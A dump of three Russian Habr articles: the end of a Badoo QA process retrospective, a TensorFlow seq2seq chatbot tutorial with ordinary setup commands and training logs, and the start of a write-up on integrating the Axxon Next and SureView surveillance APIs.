2014 год. 40000 тестов. Все было хорошо, многопоточная пускалка справлялась… Но потом пришел замечательный PHP 5.5, и использовавшийся нами фреймворк runkit стал работать… ну, скажем, очень медленно. Грустим. Приходим к выводу, что нужно дробить тесты на очень маленькие наборы. Но если попробовать запустить даже 100 (вместо ранее использовавшихся 10) процессов на одной машине, то она очень быстро захлебывается. Решение проблемы? Выносим тесты в облако ! Как результат — 2-3 минуты на все тесты, и они прямо вжжжжжж !
2015 год. 55000 тестов. Задач решается все больше, тесты множатся, и даже облако перестает с ними справляться. Грустим. Что можно с этим сделать? А давайте попробуем при завершении задачи запускать только те тесты, которые покрывают затронутый ею функционал, а все тесты запускать уже на последующих этапах? Сказано — сделано! Дважды в день мы собираем информацию по покрытию кода тестами, и если мы можем собрать исчерпывающий набор тестов, который покроет весь затронутый в задаче код, то мы запускаем только их (если есть какие-то сомнения, новые файлы или масштабные изменения в базовых классах — все равно запустим все). Теперь получаем 1-2 минуты в среднем на прохождение всех тестов на ветке и 4-5 минут на прогон всех тестов вообще!
2016 год. 75000 тестов . Не успели тесты начать тормозить (а мы не успели снова начать грустить), как к нам пришло сразу несколько спасителей. Мы перешли на PHP7 и заменили вызывавший у нас трудности runkit ( который все равно не поддерживает PHP7 ) на нашу собственную разработку SoftMocks . Все тесты сейчас проходят за 3-4 минуты, но кто знает, с какими проблемами мы столкнемся в следующем году?
Запуском тестов в нужных ветках в нужный момент занимается наша незаменимая помощница AIDA ( Automated Interactive Deploy Assistant ), разработанная нашими релиз-инженерами. На самом деле, большая часть всех автоматизированных процессов при нашей разработке не обходится без ее нежных ( хоть и достаточно костлявых ) рук. 2.2. Ручное тестирование на «девеле»
Итак, тестировщик наконец-то получает на руки задачку. Все юнит-тесты в ней прошли, можно приступать к тестированию. Что же нужно делать? Правильно, надо воспроизводить все нужные кейсы. И 4 года назад это было очень унылое занятие. Badoo — сервис знакомств, а значит, весь функционал сильно зависит от пользователя. Практически для каждого теста (а по-хорошему — и для каждого кейса) нам нужно регистрировать свежего пользователя. Поскольку большая часть функционала закрыта для пользователей без фото, то нужно еще и загрузить (и промодерировать) несколько фотографий. В сумме это уже занимает минут 5 рутинной работы.
Затем нужно подготовить тестовые данные. Мы хотим увидеть промо-окошко, отображаемое пользователю, который за сутки написал сообщение сотне других пользователей? Что ж, разминаем пальчики и начинаем флудить. И плакать.
О, для этого кейса нужен пользователь, зарегистрированный более года назад? У меня такого нет :( Ребят, а у вас есть у кого-нибудь? Нет? :((( Придется идти дергать разработчиков, чтоб они подправили значения в базе данных…
Очень печальная история, не находите? Но к нам пришло спасение— QaApi ! Что это такое? Это замечательная система, которая позволяет с помощью http-запросов производить различные действия на серверной стороне ( разумеется, все это прикрыто авторизацией и может аффектить только пользователей, которые помечены как тестовые. Не надо пытаться отыскать этот интерфейс у себя дома ). QA-инженер может сделать простенький запрос на QaApi ( вида qaapi.example.com/userRegister ), GET-параметрами передать нужные настройки (пол пользователя, город регистрации, возраст и т.д.) и в ответ сразу же получить авторизационные данные! Причем таким образом можно получать пользователей как на девел-окружении, так и на продакшене. В то же время мы не засоряем наш продакшен ботами, тестовые пользователи не отображаются живым, а вместо регулярной регистрации пользователей мы получаем подходящего (и уже полностью очищенного после предыдущих тестов) пользователя из пула, если такой уже есть.
Такими же простыми запросами можно изменять и заполнять различные данные, недоступные к изменению из интерфейса: уже упомянутую дату регистрации, количество новых контактов или лайков за сутки (ура!) и все что только душе угодно. А если для изменения нужного параметра нет QaApi-метода? Чаще всего для его добавления достаточно базовых знаний PHP и это может сделать любой инженер! Иногда, впрочем, требуются более глубокие правки в коде, и тогда приходится обращаться к ответственным за компонент разработчикам.
Естественно, вся эта красота была придумана не только для ручного тестирования. Наши тесты тоже стали вовсю использовать QaApi: тесты стали быстрее и атомарнее, тестируют только то, что действительно должны тестировать (разумеется, отдельные тесты на упрощаемые таким образом операции тоже есть).
А когда мы решили, что и этого недостаточно, то реализовали QaApi-сценарии, которые позволяют писать на Lua ( не спрашивайте ) простые скрипты, которые посредством вызова различных методов в один клик подготавливают даже сложные данные для тестирования сложных кейсов. 2.3. Улучшенное окружение и инструментарий
Помимо способов оптимизировать и автоматизировать тестирование на девеле, конечно же, очень важны способы сделать его максимально полным и приближенным к продакшену.
Например, CLI-скрипты. Раньше они запускались с помощью крона. Соответственно, если тестировщик хотел проверить новую версию какого-нибудь скрипта, он должен был сделать следующее: закомментировать строчку запуска скрипта в кронтабе;
убить все действующие инстансы этого скрипта;
запустить свою версию скрипта и протестировать ее;
убить все свои инстансы этого скрипта;
раскомментировать строчку в кронтабе.
Пропуск любого из этих этапов приводит к проблемам либо для самого тестировщика (может работать не та версия скрипта, которую он ожидает), либо для всех окружающих (скрипт не работает и никто не знает, почему).
Сейчас же у нас таких проблем не бывает: все скрипты гоняются в общем скриптовом фреймворке, на девел-версии которого есть возможность сказать скрипту: «Запускайся теперь из моей рабочей директории, а не из общей». При этом любые ошибки или истечение тайм-аута возвращают скрипт обратно на общий поток, а система проследит за тем, чтобы все воркеры были только нужной версии.
Другая проблема — множественные A/B тесты. У нас их в каждый момент времени проходят буквально десятки. Раньше нужно было либо создавать десяток пользователей, чтобы захватить все варианты тестов, либо хакать код, чтобы намеренно пихать своих пользователей в интересующие тебя в данный момент варианты. А теперь мы используем общую систему UserSplit , позволяющую для каждого конкретного теста добавлять QA-настройки вида «Вот этот юзер всегда получает вот этот вариант» и всегда быть уверенным, что ты проверяешь именно то, что тебе нужно в данный момент. 3. Тестирование в «шоте»
Что такое «шот» в нашем понимании? Фактически это ветка задачи (плюс текущий мастер) в продакшен-окружении. С технической точки зрения он представляет собой директорию с нужной версией кода на одной из наших машин в стейджинговом кластере и строчку в конфиге NGINX, которая направляет в эту папку http-запросы вида habr-1.shot . Таким образом шот можно указывать в качестве сервера для любых клиентов — как для веба, так и для мобильных. Создавать шоты для конкретной задачи могут все инженеры с помощью ссылки в JIRA.
Предназначен он в первую очередь для проверки работоспособности задачи в реальном окружении (вместо очень похожего, но все-таки «синтетического» девела), но также и для решения дополнительных задач, таких как генерация и проверка переводов (для того чтобы переводчики работали с новыми лексемами до попадания задачи на стейджинг и не задерживали релиз остальных задач). Также существует возможность пометить шот как external — и тогда он будет доступен не только из нашей рабочей сети (или по VPN), но и из интернета. Это позволяет нам предоставить возможность тестировать задачу нашим партнерам, например, при подключении нового платежного метода.
Главное изменение, которое произошло за последние годы —это автоматический запуск тестов в шоте сразу же после его генерации (шот гораздо более стабильное окружение, чем девел, поэтому результаты тестов здесь всегда намного релевантнее и реже дают ложные результаты). AIDA запускает здесь два вида тестов: Selenium-тесты и cUrl-тесты . Результаты их прогонов постятся в задачу и отправляются лично ответственному за задачу тестировщику. А что делать, если измененный или добавленный функционал не покрыт Selenium-тестами?! В первую очередь — не паниковать. Тестами у нас покрывается только устоявшийся либо критический функционал (наш проект очень быстро развивается, и покрытие тестами каждой экспериментальной фичи сильно бы замедлило этот процесс), а задачи на написание новых тестов ставятся уже после релиза задачи на продакшен.
А если тест есть и упал? У этого может быть две возможные причины. В первом случае в задаче есть ошибка: программист не молодец и должен задачу чинить, а тесты сделали свою работу. Во втором случае функционал работает исправно, но его логика ( или даже просто верстка ) изменилась и тест более не соответствует текущему состоянию системы. Нужно чинить тест. Раньше этим у нас занималась отдельная группа QA-инженеров, ответственная за автоматизацию. Они умели делать это хорошо и быстро, но все равно каждый релиз ломал какое-то количество тестов ( иногда огромное ), и ребята тратили гораздо больше времени на поддержание системы, чем на ее развитие. В результате мы решили изменить подход к этому делу: провели ряд семинаров и лекций, чтобы каждый QA-инженер имел хотя бы базовые навыки для написания Selenium-тестов (а заодно и модифицировали наши библиотеки так, чтобы писать тесты стало удобнее и проще). Теперь, если в задаче тестировщика начинает падать тест, он сам же чинит его в ветке задачи. Если же случай очень сложный и требующий серьезных изменений, то все-таки отдает задачу знающим людям. 4. Тестирование на стейджинге
Итак, задача прошла свои три круга ада этапа тестирования и готова к релизу! В дело вновь вступает AIDA. Она собирает все готовые задачи (задача проверена на всех этапах, необходимые переводы выполнены, тикет в JIRA в правильном статусе), «мержит» их в общую ветку (решает простые конфликты самостоятельно, в сложных случаях просит помощи разработчиков), помечает ее как текущий билд, раскладывает новую версию кода на стейджинг-сервера и инициирует запуск автотестов.
Вот здесь уже проходят ВСЕ наши тесты. При изменении стейджинг-ветки запускаются смоук-тесты и полные наборы наших системных, интеграционных и юнит-тестов. Каждая ошибка в них передается ответственным за релиз людям.
Затем тестировщик проверяет задачу на стейджинге. Главным образом здесь нужно проверять совместимость задачи с остальными, уехавшими на стейджинг (их у нас в каждом билде порядка двадцати). О нет, что-то все-таки сломалось! Надо как можно скорее разобраться, какой тикет в этом виноват! Этому поможет наша простая, но мощная система Selenium manager . Она позволяет просмотреть результаты прогонов тестов в шоте каждой задачи, находящейся на стейджинге, и запустить не прогонявшиеся тесты (по умолчанию при создании шота запускается не полный сьют). Таким образом часто можно обнаружить тикет-виновник… Но далеко не всегда. Тогда приходится рыться в логах и искать виновный код самостоятельно: все-таки не все еще можно оптимизировать.
И вот мы нашли этот проблемный тикет. Если все совсем плохо и решение проблемы требует продолжительного времени, мы откатываем тикет со стейджинга, пересобираем билд и продолжаем спокойно работать, пока невезучий разработчик чинит произошедшее. Но если же для исправления ошибки достаточно просто поменять один символ в одной строчке? Раньше разработчики фиксили такие проблемы прямыми коммитами в билдовую ветку. Это достаточно быстро и удобно, но это настоящий кошмар с точки зрения QA. Проверить такой «приложенный к ранке лист подорожника» достаточно сложно, а еще сложнее — найти все такие фиксы и обнаружить виновника, если он вызвал новую ошибку в другом месте. Долго жить так было нельзя, и наши релиз-инженеры написали собственный интерфейс патчей.
Он позволяет приложить Git-патч к текущему билду с описанием решаемой проблемы, отмеченным именем автора и возможностью предварительного ревью со стороны другого разработчика или тестирования со стороны QA. Каждый патч привязывается к той или иной задаче, и при откате задачи из билда все привязанные к ней патчи также автоматически будут откачены.
Кажется, все всё проверили. Кажется, можно ехать на продакшен. Точно ли? Раньше ответственному за релиз инженеру приходилось самостоятельно выяснять, все ли в порядке: смотреть результаты прогонов тестов, узнавать, действительно ли все упавшие Selenium-тесты починены, все ли задачи проверены, все ли патчи протестированы и применены… Огромное количество работы и очень большая ответственность. Поэтому мы собрали такой простенький интерфейс, позволяющий каждому ответственному за тот или иной компонент (или блок тестов) поставить галочку «у меня все хорошо», и как только вся табличка зеленеет — можно ехать.
Итак, мы справились! Можно праздновать, разливать шампанское и танцевать на столе… На самом деле нет. Скорее всего, впереди еще несколько часов рабочего времени. И вполне вероятно — еще один релиз. Но даже и это не главное: контроль качества задачи не завершается в момент ее отправки пользователям! 5. Верификация на продакшене Обязательно нужно проверить, что под давлением продакшен-окружения и сотен тысяч ( или миллионов! ) пользователей задача ведет себя именно так, как ожидалось. Большие и сложные проекты мы изначально выкладываем только на часть аудитории (например, только в рамках определенной страны) для того, чтобы оценить работоспособность и стрессоустойчивость системы в боевых условиях. Оценкой результатов таких экспериментов с разных сторон занимаются все участники процесса: и разработчики, и тестировщики, и менеджеры. И даже после того, как такой «эксперимент» был признан успешным и новая фича разъехалась на всех пользователей, даже несмотря на работу полноценного отдела мониторинга, всегда полезно и самим внимательно поглядеть на состояние системы после релиза: все-таки живые пользователи могут нагенерировать больше кейсов, чем может придумать мозг самого изощренного тестировщика. К чему это я?
Всегда есть куда стремиться и развиваться. 4 года назад я пришел в Badoo и был в восторге от того, как здесь все было классно устроено. Я активно участвовал в развитии процессов и уже через год выступал на конференциях, рассказывая, что стало ЕЩЕ лучше. Прошло три года — и я не представляю, как мы жили без QaApi, без таких классных авто-тестов и других прекрасных и удобных штук. Посидите как-нибудь в свободное время и пофантазируйте, что бы вы хотели изменить или усовершенствовать в своих собственных процессах? Дайте волю воображению, придумайте самые невероятные фичи и поделитесь ими с товарищами. Очень может быть, что-то из этого страшно нужно всем окружающим, а реализация будет далеко не такая фантастичная, как вам может показаться. И тогда вы все ( а в конечном счете и ваши пользователи ) станете немного счастливее. Кудинов Илья, Sr. QA Engineer | https://habrahabr.ru/company/badoo/blog/317700/ |
habrahabr | Chatbot на базе рекуррентной нейронной сети своими руками за 1 вечер/6$ и ~ 100 строчек кода | ['исскуственный интеллект', 'chat bot', 'tensorflow', 'aws'] | В данной статье я хочу показать насколько просто сегодня использовать нейронные сети. Вокруг меня довольно много людей одержимы идеей того, что нейронки может использовать только исследователь. И... | В данной статье я хочу показать насколько просто сегодня использовать нейронные сети. Вокруг меня довольно много людей одержимы идеей того, что нейронки может использовать только исследователь. И что бы получить хоть какой то выхлоп, нужно иметь как минимуму кандидатскую степень. А давайте на реальном примере посмотрим как оно на самом деле, взять и с нуля за один вечер обучить chatbot. Да еще не просто абы чем а самым что нинаесть ламповым TensorFlow . При этом я постарался описать все настолько просто, что-бы он был понятен даже начинающему программисту! В путь! Шаги, которые на предстоит пройти на нашем тернистом пути Необходимо найти реализацию нейроннйо сети, которую можно использовать для нашей цели.
Подготовить данные (корпус), которые могут быть использованы для обучения.
Обучить модель.
Отдельное спасибо моим патронам, которые сделали эту статью возможной:
Aleksandr Shepeliev, Sergei Ten, Alexey Polietaiev, Никита Пензин, Карнаухов Андрей, Matveev Evgeny, Anton Potemkin. Вы тоже можете стать одним из них вот тут . Реализация нейронки, которую можно использовать для нашей цели
TensorFlow включает реализацию RNN (рекурентной нейронной сети), которая используется для обучения модели перевода для пары языков английский / французский . Именно эту реализацию мы и будем использовать для обучения нашего чат-бота.
Вероятно, кто-то может спросить: «Почему, черт возьми, мы смотрим на обучения модели перевода, если мы делаем чат-бот?». Но это может показаться странным только на первом этапе. Задумайтесь на секунду, что такое “перевод”? Перевод может быть представлен в виде процесса в два этапа: Создание языко-независимого представление входящего сообщения.
Отображение информации полученной на первом шаге на язык перевода.
Теперь задумайтесь, а что, если мы будем обучать ту же модель RNN, но, вместо Eng/Fre пары мы будем подставлять Eng/Eng диалоги из фильмов? В теории, мы можем получить чат-бот, который способен отвечать на простые однострочные вопросы (без способности запоминать контекст диалога). Этого должно быть вполне достаточным для нашего первого бота. Плюс, этот подход очень прост. Ну а в будущем, мы сможем, отталкиваясь от нашей первой реализации, сделать чат-бот более разумным.
Позже мы узнаем, как обучать более сложные сети, которые являются более подходящими для чат-ботов (например retrieval-based models ).
Для нетерпеливых: картинка в начале статьи это собственно пример разговора с ботом после всего 50 тысяч учебных итераций. Как видите, бот способен давать более или менее информативные ответы на некоторые вопросы. Качество бота улучшается с количеством итераций обучения. Например, вот как глупо он отвечал после первых 200 итераций:
Такой простой подход также позволяет нам создавать ботов с разными характерами. Например, можно было бы обучить его на диалогах из саги “Звездные войны” или «Властелин колец». Более того, если бот имеет достаточно большой корпус диалога одного и того же героя (например, все диалоги Чендлера из фильма «Друзья»), то можно создать бота этого самого героя. Подготовка данных (корпуса) для обучения
Для обучения нашего первого бота мы будем использовать корпус диалогов из кинофильмов “ Cornell Movie Dialogs Corpus ”. Для его использования нам нужно сконвертировать диалоги в нужный для обучения вид. Для этого я подготовил небольшой скрипт .
Я бы настоятельно рекомендовал вам прочитать README файл, чтобы понять больше о корпусе и о том, что этот скрипт делает, и только потом продолжить чтение статьи. Однако, если вам просто нужно команды, которые вы можете слепо скопировать и выполнить, чтобы получить готовые для обучения данные, вот они: tmp# git clone https://github.com/b0noI/dialog_converter.git
Cloning into ‘dialog_converter’…
remote: Counting objects: 59, done.
remote: Compressing objects: 100% (49/49), done.
remote: Total 59 (delta 33), reused 20 (delta 9), pack-reused 0
Unpacking objects: 100% (59/59), done.
Checking connectivity… done.
tmp# cd dialog_converter
dialog_converter git:(master)# python converter.py
dialog_converter git:(master)# ls
LICENSE README.md converter.py movie_lines.txt train.a train.b
К концу выполнения вы будете иметь 2 файла, которые можно использовать для дальнейшего обучения: train.a и train.b Обучение модели
Это самая захватывающая часть. Для того, чтобы обучить модель мы должны: Найти машину с мощной и поддерживаемой TensorFlow (что очень важно) видеокартой (читай: NVIDIA).
Изменить оригинальный «translate» скрипт, который используется для обучения модели перевода пары Eng/Fre.
Подготовить машину для обучения.
Начать обучение.
Подождать.
Подождать.
Подождать.
Я серьезно … Нужно подождать.
Profit.
В поисках Атлантиды машины для обучения
Для того, чтобы сделать этот процесс как можно более простым, я буду использовать собранный AMI — " Bitfusion TensorFlow AMI ", который будет использоваться с AWS. Он имеет предварительно установленный TensorFlow, который был собран с поддержкой GPU. К моменту написания статьи, Bitfusion AMI включал TensorFlow версии 0.11.
Процесс создания EC2 инстанса из AMI образа достаточно прост и его рассмотрение выходит за рамки этой статьи. Однако стоит обратить внимание на две важных детали, которые имеют отношение к процессу, это тип instance и размер SSD. Для типа я бы рекомендовал использовать: p2.xlarge — это самый дешевый тип, который имеет NVIDIA GPU с достаточным количеством видеопамяти (12 Гбит). Что касается размера SSD — я бы рекомендовал выделить по крайней мере 100GB. Теперь нам нужно изменить оригинальный «translate» скрипт
На этом этапе, я надеюсь, я могу предположить, что у вас есть ssh доступ к машине, где вы будете обучать TensorFlow.
Во-первых, давайте обсудим, зачем вообще нам нужно изменять исходный скрипт. Дело в том, что сам скрипт не позволяет переопределить источник данных, которые используются для обучения модели. Чтобы это исправить я создал feature-request . И постараюсь скоро подготовить реализацию, но на данный момент, вы можете поучаствовать добавляя +1 к “реквесту”.
В любом случае, не надо бояться — модификация очень проста . Но даже столь малую модификацию я уже сделал за вас и создал репозиторий, содержащий модифицированный код . Остается только сделать следующее:
Переименуйте файлы «train.a» и «train.b» на «train.en» и «train.fr» соответственно. Это необходимо, так как учебный скрипт все еще считает, что он обучается на перевод с английского на французский.
Оба файла должны быть загружены на удаленные хосты — это можно сделать с помощью команды rsync: ➜ train# REMOTE_IP=...
➜ train# ls
train.en train.fr
➜ train rsync -r . ubuntu@$REMOTE_IP:/home/ubuntu/train
Теперь давайте подключимся к удаленному хосту и запустим tmux сессию. Если вы не знаете, что такое tmux, вы можете просто подключиться через SSH: ➜ train ssh ubuntu@$REMOTE_IP
53 packages can be updated.
42 updates are security updates.
########################################################################################################################
########################################################################################################################
____ _ _ __ _ _
| __ )(_) |_ / _|_ _ ___(_) ___ _ __ (_) ___
| _ \| | __| |_| | | / __| |/ _ \| '_ \ | |/ _ \
| |_) | | |_| _| |_| \__ \ | (_) | | | |_| | (_) |
|____/|_|\__|_| \__,_|___/_|\___/|_| |_(_)_|\___/
Welcome to Bitfusion Ubuntu 14 Tensorflow - Ubuntu 14.04 LTS (GNU/Linux 3.13.0-101-generic x86_64)
This AMI is brought to you by Bitfusion.io
http://www.bitfusion.io
Please email all feedback and support requests to:
support@bitfusion.io
We would love to hear from you! Contact us with any feedback or a feature request at the email above.
########################################################################################################################
########################################################################################################################
########################################################################################################################
Please review the README located at /home/ubuntu/README for more details on how to use this AMI
Last login: Sat Dec 10 16:39:26 2016 from 99-46-141-149.lightspeed.sntcca.sbcglobal.net
ubuntu@tf:~$ cd train/
ubuntu@tf:~/train$ ls
train.en train.fr
Давайте проверим, что TensorFlow установлен и он использует GPU: ubuntu@tf:~/train$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import tensorflow as tf
I tensorflow/stream_executor/dso_loader.cc:111] successfully opened CUDA library libcublas.so.7.5 locally
I tensorflow/stream_executor/dso_loader.cc:111] successfully opened CUDA library libcudnn.so.5 locally
I tensorflow/stream_executor/dso_loader.cc:111] successfully opened CUDA library libcufft.so.7.5 locally
I tensorflow/stream_executor/dso_loader.cc:111] successfully opened CUDA library libcuda.so.1 locally
I tensorflow/stream_executor/dso_loader.cc:111] successfully opened CUDA library libcurand.so.7.5 locally
>>> print(tf.__version__)
0.11.0
Как видно, установлен TF версии 0.11 и он использует библиотеку CUDA. Теперь давайте склоним учебный скрипт: ubuntu@tf:~$ mkdir src/
ubuntu@tf:~$ cd src/
ubuntu@tf:~/src$ git clone https://github.com/b0noI/tensorflow.git
Cloning into 'tensorflow'...
remote: Counting objects: 117802, done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 117802 (delta 0), reused 0 (delta 0), pack-reused 117792
Receiving objects: 100% (117802/117802), 83.51 MiB | 19.32 MiB/s, done.
Resolving deltas: 100% (88565/88565), done.
Checking connectivity... done.
ubuntu@tf:~/src$ cd tensorflow/
ubuntu@tf:~/src/tensorflow$ git checkout -b r0.11 origin/r0.11
Branch r0.11 set up to track remote branch r0.11 from origin.
Switched to a new branch 'r0.11' Обрати внимание, что нам нужна ветка r0.11. Прежде всего, эта ветка согласуется с версией локально установленного TensorFlow. Во-вторых, я не перенес мои изменения в другие ветки, поэтому, в случае необходимости, придется делать это руками вам самим.
Поздравляю! Вы дошли до этапа начала обучения. Смело запускайте это самое обучение: ubuntu@tf:~/src/tensorflow$ cd tensorflow/models/rnn/translate/
ubuntu@tf:~/src/tensorflow/tensorflow/models/rnn/translate$ python ./translate.py --en_vocab_size=40000 --fr_vocab_size=40000 --data_dir=/home/ubuntu/train --train_dir=/home/ubuntu/train
...
Tokenizing data in /home/ubuntu/train/train.en
tokenizing line 100000
...
global step 200 learning rate 0.5000 step-time 0.72 perplexity 31051.66
eval: bucket 0 perplexity 173.09
eval: bucket 1 perplexity 181.45
eval: bucket 2 perplexity 398.51
eval: bucket 3 perplexity 547.47
Давайте обсудим некоторые ключи, которые мы используем: en_vocab_size — сколько уникальных слов изучит модель “английского языка”. Если число уникальных слов из исходных данных превышает размер словаря, все слова, которые не в словаре, будут помечены как «UNK» (code: 3). Но не рекомендую делать словарь больше, чем необходимо; но он не должен быть и меньше;
fr_vocab_size — то же самое, но для другой части данных (для “французского языка”);
data_dir — директория с исходными данными. Здесь скрипт будет искать файлы «train.en» и «train.fr»;
train_dir — директория, в которую скрипт будет записывать промежуточный результат обучения.
Давайте убедимся в том, что обучение продолжается, и все идет по плану
Вы успешно начали обучение. Но давайте подтвердим, что процесс продолжается и все в порядке. Мы не хотим, чтобы в конечном итоге через 6 часов мы выяснили, что что-то в самом начале было сделано не так. Мы с Глебом уже как-то обучили нечто полуразумное =)
Прежде всего, мы можем подтвердить, что процесс обучения “откусил” себе памяти у GPU: $ watch -n 0.5 nvidia-smi
Как видно, не хило так кусанул, почти вся память на GPU занята. Это хороший знак. И не нужно бояться, что ваш процесс вот-вот “откинет копыта” с ошибкой OutOfMemory. Просто во время запуска TF прибирает к своим рукам всю память на GPU, до которой может дотянуться.
Затем можно проверить папку «train» — она должна содержать несколько новых файлов: ~$ cd train
~/train$ ls
train.fr train.ids40000.fr dev.ids40000.en dev.ids40000.fr train.en train.ids40000.en vocab40000.fr
Здесь важно заглянуть в файлы vocab4000.* и train.ids40000.*. Там должно быть атмосферно и душевно, вот посмотрите: ~/train$less vocab40000.en
_PAD
_GO
_EOS
_UNK
.
'
,
I
?
you
the
to
s
a
t
it
of
You
!
that
...
Каждая строка в файле — это уникальное слово, которое было найдено в исходных данных. Каждое слово в исходных данных будет заменено числом, которое представляет номер строки из этого файла. Можно сразу же заметить, что есть некоторые технические слова: PAD (0), GO (1), EOS (2), UNK (3). Наверное самое важное из них для нас — «UNK», так как количество слов помеченных этим кодом (3) даст нам некоторое представление о том, насколько корректно выбран нами размер нашего словаря.
Теперь давайте посмотрим на train.ids40000.en: ~/train$ less train.ids40000.en
1181 21483 4 4 4 1726 22480 4 7 251 9 5 61 88 7765 7151 8
7 5 27 11 125 10 24950 41 10 2206 4081 11 10 1663
84 7 4444 9 6 562 6 7 30 85 2435 11 2277 10289 4 275
107 475 155 223 12428 4 79 38 30 110 3799 16 13 767 3 7248 2055 6 142 62 4
1643 4 145 46 19218 19 40 999 35578 17507 11 132 21483 2235 21 4112 4
144 9 64 83 257 37 788 21 296 8
84 19 72 4 59 72 115 1521 315 66 22 4
16856 32 9963 348 4 68 5 12 77 1375 218 7831 4 275
11947 8
84 6 40 2135 46 5011 6 93 9 359 6370 6 139 31044 4 42 5 49 125 13 131 350 4
371 4 38279 6 11 22 316 4
3055 6 323 19212 6 562 21166 208 23 3 4 63 9666 14410 89 69 59 13262 69 4
59 155 3799 16 1527 4079 30 123 89 10 2706 16 10 2938 3 6 66 21386 4
116 8
...
Думаю вы уже догадались, что это данные из input.en, но со всеми словами замененными на коды согласно словарю. Теперь мы можем проверить, сколько же слов помечены как «неизвестные» (UNK/3): ~/train$ grep -o ' 3 ' train.ids40000.en | wc -l
7977
Можете попробовать в последующих экспериментах увеличить размер словаря с 40k до 45k, или даже до 50к. Но, мы пока продолжим процесс “as is” и не станем его прерывать. 6 часов спустя… “Оно ожило!”
После ожидания достаточного количества времени, вы можете тупо убить процесс обучения. Не волнуйтесь, процесс сохраняет результат каждые 200 шагов обучения (это число можно менять). Я бы рекомендовал для обучения либо выбрать промежуток времени, который вы готовы ждать (он может зависеть от суммы, которую вы готовы платить за аренду машины), либо количество шагов, которое вы хотите, чтобы тренировочный процесс закончил.
Самое последнее и главное ради чего мы устроили этот весь беспредел — это начать чат. Для этого нам просто нужно добавить один ключ к команде, которая была использована для тренировки: ~/src/tensorflow/tensorflow/models/rnn/translate$ python ./translate.py --en_vocab_size=40000 --fr_vocab_size=40000 --data_dir=/home/ubuntu/train --train_dir=/home/ubuntu/train --decode
...
Reading model parameters from /home/ubuntu/data/translate.ckpt-54400
> Hello!
Hello .
> Hi are you?
Now , okay .
> What is your name?
My name is Sir Sir .
> Really?
Yeah .
> what about the real name?
N . . . real real .
> are you a live?
Yes .
> where are you?
I ' m here .
> where is here?
I don ' t know .
> can I help you to get here?
Yeah , to I ve ' t feeling nothing to me . Это лишь начало! Вот пару идей для улучшения бота.
Чтобы помочь проекту или просто создать бота с характером можно: реализовать логику, которая находит идеальный размер для EN/FR словарей;
опубликовать train.en/train.fr где-то, чтобы другие люди не создавали их с нуля;
обучить бота мастера Yoda (или Дарта Вейдера);
обучить бота, который будет говорить, как во вселенной из “Властелина колец”;
обучить бота, который будет говорить, как люди из “StarWars” вселенной;
обучить бота на своих диалогах, чтобы он разговаривал как вы!
| https://habrahabr.ru/post/317732/ |
habrahabr | Интегрируем две системы видеонаблюдения: Axxon Next и SureView | ['Видеопотоки', 'видеомост', 'разработка', 'видеонаблюдение', 'Axxon Next', 'SureView', 'edisonsoftware'] | Перед программистами Edison Software была поставлена задача — разработать программные компоненты, обеспечивающие взаимодействие между ПО Axxon Next и Immix. Сервис SureView очень популярен в... | Перед программистами Edison Software была поставлена задача — разработать программные компоненты, обеспечивающие взаимодействие между ПО Axxon Next и Immix. Сервис SureView очень популярен в Великобритании, и дабы укрепить свои позиции на рынке видеонаблюдения, разработчики Axxon Next (ITV) решили совершить хитрый стратегический ход и интегрироваться, отдав исполнение заказа на аутсорс компании Edison Software. На разработку и отладку плагина интеграции ушло 316 часов.
ПО Axxon Next является продуктом российской компании ITV, являющейся разработчиком программного обеспечения для систем безопасности и видеонаблюдения.
Axxon Next — высокопроизводительная система видеонаблюдения, с интуитивно понятным пользовательским интерфейсом, поддерживающая более 6000 наименований IP-устройств и позволяющая строить легко масштабирующиеся системы видеонаблюдения любой сложности. Следует отметить, что полный функционал системы включен в любую лицензию, даже если в ней будет всего одна камера.
ПО Immix является продуктом американской компании SureView systems и представляет собой видео-ориентированную программную платформу, предназначенную для приема тревожных событий из систем видеонаблюдения, контроля доступа, платформ автоматизации и ситуационных систем информирования.
Результатом разработки должен был стать плагин для ПО SureView, предоставляющий возможность использования из ПО SureView следующих возможностей ПО Axxon Next. Отображение в ПО SureView живого видео от ПО Axxon Next.
Проигрывание и управление проигрыванием в ПО SureView архива видео, хранящегося под управлением ПО Axxon Next.
Управление из ПО SureView поворотными (PTZ) устройствами, подключенными к ПО Axxon Next, включая использование предустановок (Presets).
Получение в ПО SureView событий о возникших тревожных сообщениях от ПО Axxon Next.
SureviewSystems
Для реализации плагинов для ПО SureView компанией SureviewSystems предоставляется API с документацией и приложение для тестирования разрабатываемого плагина.
API представляет собой большое число различных интерфейсов, описывающих различную функциональность интегрируемого устройства.
Примеры.
1) Чтобы ПО SureView могло соединяться с интегрируемым устройством, необходимо реализовать следующий интерфейс. public interface IDeviceConnectDisconnect : IDevice
{
void DeviceConnect();
void DeviceDisconnect();
}
2) Чтобы ПО SureView могло воспроизвести живой видеопоток с интегрируемого устройства, необходимо реализовать такой интерфейс. public interface ICamera : IDevice
{
void CameraStartLive();
void CameraStop();
}
Для ускорения разработки с SDK поставляется базовый класс StreamCam, который уже реализует часть необходимых интерфейсов и умеет воспроизводить RTSP-поток, достаточно просто указать ссылку на воспроизводимый видеопоток. AxxonNext
Для управления устройствами, подключенными к серверу Axxon Next, последний предоставляет достаточно удобное и простое API.
Описание API можно посмотреть тут .
Управление устройствами происходит по протоколу HTTP, для обеспечения безопасности используется Http Basic авторизация.
Все ответы сервера AxxonNext отправляются в формате Json.
Рассмотрим пример воспроизведения живого потока и управления телеметрией. Для получения списка подключенных устройств достаточно послать запрос: GET /video-origins.
В ответ на этот запрос сервер Axxon отправит список подключенных устройств. {
"HOSTNAME/DeviceIpint.4/SourceEndpoint.video:0:0":
{
"origin": "SALES/DeviceIpint.4/SourceEndpoint.video:0:0"
,"state": "signal_restored"
,"friendlyNameLong": "4.IP устройство [4]"
,"friendlyNameShort": "IP устройство [4]"
}
,"HOSTNAME/DeviceIpint.5/SourceEndpoint.video:0:0":
{
"origin": "SALES/DeviceIpint.5/SourceEndpoint.video:0:0"
,"state": "disconnected"
,"friendlyNameLong": "5.IP устройство [5]"
,"friendlyNameShort": "IP устройство [5]"
}
}
В ответе помимо названия устройства также содержится дополнительная информация об устройстве: состояние устройства — поле state , его имя — поле friendlyName .
